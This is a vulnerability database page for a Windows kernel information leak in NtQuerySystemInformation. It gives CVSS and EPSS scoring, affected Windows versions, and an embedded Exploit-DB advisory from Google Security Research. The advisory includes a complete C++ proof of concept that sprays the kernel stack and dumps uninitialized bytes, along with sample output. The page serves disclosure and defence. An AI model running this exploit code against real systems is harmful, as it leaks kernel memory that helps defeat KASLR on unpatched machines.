Faiblesses connexes
CWE-ID |
Nom de la faiblesse |
Source |
CWE Other |
No informations. |
|
Metrics
Metric |
Score |
Sévérité |
CVSS Vecteur |
Source |
V3.0 |
5.5 |
MEDIUM |
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack VectorThis metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack ComplexityThis metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges RequiredThis metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources. User InteractionThis metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. ScopeFormally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality ImpactThis metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity ImpactThis metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is no loss of integrity within the impacted component. Availability ImpactThis metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is no impact to availability within the impacted component. Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
V2 |
2.1 |
|
AV:L/AC:L/Au:N/C:P/I:N/A:N |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
EPSS Score
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
EPSS Percentile
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 44461
Date de publication : 2018-04-15 22:00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes
/*
We have discovered that the nt!NtQuerySystemInformation system call invoked with the SystemPageFileInformation (0x12) and SystemPageFileInformationEx (0x90) information classes discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects 64-bit versions of Windows 7 to 10.
Based on the contents of the output structure returned by the kernel, we have concluded that it contains a nested UNICODE_STRING structure at offset 0x10, which has the following definition:
--- cut ---
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
--- cut ---
On x64 builds, the compiler introduces 4 bytes of padding between the "MaximumLength" and "Buffer" fields, in order to align the "Buffer" pointer to an 8-byte boundary. It seems that these padding bytes are never initialized in the kernel's local copy of the structure, and so they are returned to the user-mode caller in this form.
The problem is best illustrated by running the attached proof-of-concept program, which sprays the kernel stack with a 0x41 ('A') marker byte, invokes the nt!NtQuerySystemInformation syscall with the affected information classes, and prints the contents of the output buffer on the screen. The result of running it in our test Windows 10 environment is as follows:
--- cut ---
---------- SystemPageFileInformation Status: 0, Return Length: 48
00000000: 00 00 00 00 00 c0 02 00 00 00 00 00 01 01 00 00 ................
00000010: 26 00 28 00 41 41 41 41 a0 fe 38 5c cc 00 00 00 &.(.AAAA..8\....
00000020: 5c 00 3f 00 3f 00 5c 00 43 00 3a 00 5c 00 70 00 \.?.?.\.C.:.\.p.
00000030: 61 00 67 00 65 00 66 00 69 00 6c 00 65 00 2e 00 a.g.e.f.i.l.e...
00000040: 73 00 79 00 73 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? s.y.s...........
---------- SystemPageFileInformationEx Status: 0, Return Length: 50
00000000: 00 00 00 00 00 c0 02 00 00 00 00 00 01 01 00 00 ................
00000010: 26 00 28 00 41 41 41 41 a8 fe 38 5c cc 00 00 00 &.(.AAAA..8\....
00000020: 00 c0 02 00 3f c1 13 00 5c 00 3f 00 3f 00 5c 00 ....?...\.?.?.\.
00000030: 43 00 3a 00 5c 00 70 00 61 00 67 00 65 00 66 00 C.:.\.p.a.g.e.f.
00000040: 69 00 6c 00 65 00 2e 00 73 00 79 00 73 00 00 00 i.l.e...s.y.s...
--- cut ---
It is clearly visible that in both cases, 4 bytes returned at offsets 0x14-0x17 originate from an uninitialized kernel stack region. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/
#include <Windows.h>
#include <winternl.h>
#include <ntstatus.h>
#include <cstdio>
#pragma comment(lib, "ntdll.lib")
#define SystemPageFileInformation ((SYSTEM_INFORMATION_CLASS)0x12)
#define SystemPageFileInformationEx ((SYSTEM_INFORMATION_CLASS)0x90)
extern "C" {
NTSTATUS WINAPI NtQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
};
VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
PBYTE Data = (PBYTE)Buffer;
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
for (ULONG i = 0; i < size; i++) {
ptr[i] = byte;
}
}
VOID SprayKernelStack() {
static bool initialized = false;
static HPALETTE(NTAPI *EngCreatePalette)(
_In_ ULONG iMode,
_In_ ULONG cColors,
_In_ ULONG *pulColors,
_In_ FLONG flRed,
_In_ FLONG flGreen,
_In_ FLONG flBlue
);
if (!initialized) {
EngCreatePalette = (HPALETTE(NTAPI*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette");
initialized = true;
}
static ULONG buffer[256];
MyMemset((PBYTE)buffer, 'A', sizeof(buffer));
EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0);
MyMemset((PBYTE)buffer, 'B', sizeof(buffer));
}
int main() {
BYTE OutputBuffer[128];
ULONG ReturnLength = 0;
RtlZeroMemory(OutputBuffer, sizeof(OutputBuffer));
SprayKernelStack();
NTSTATUS Status = NtQuerySystemInformation(SystemPageFileInformation, OutputBuffer, sizeof(OutputBuffer), &ReturnLength);
printf("---------- SystemPageFileInformation Status: %x, Return Length: %x\n", Status, ReturnLength);
PrintHex(OutputBuffer, ReturnLength);
RtlZeroMemory(OutputBuffer, sizeof(OutputBuffer));
SprayKernelStack();
Status = NtQuerySystemInformation(SystemPageFileInformationEx, OutputBuffer, sizeof(OutputBuffer), &ReturnLength);
printf("---------- SystemPageFileInformationEx Status: %x, Return Length: %x\n", Status, ReturnLength);
PrintHex(OutputBuffer, ReturnLength);
return 0;
}
Products Mentioned
Configuraton 0
Microsoft>>Windows_10 >> Version *
Microsoft>>Windows_10 >> Version 1511
Microsoft>>Windows_10 >> Version 1607
Microsoft>>Windows_10 >> Version 1703
Microsoft>>Windows_10 >> Version 1709
Microsoft>>Windows_7 >> Version -
Microsoft>>Windows_8.1 >> Version *
Microsoft>>Windows_rt_8.1 >> Version -
Microsoft>>Windows_server_2008 >> Version -
Microsoft>>Windows_server_2008 >> Version r2
Microsoft>>Windows_server_2012 >> Version -
Microsoft>>Windows_server_2012 >> Version r2
Microsoft>>Windows_server_2016 >> Version *
References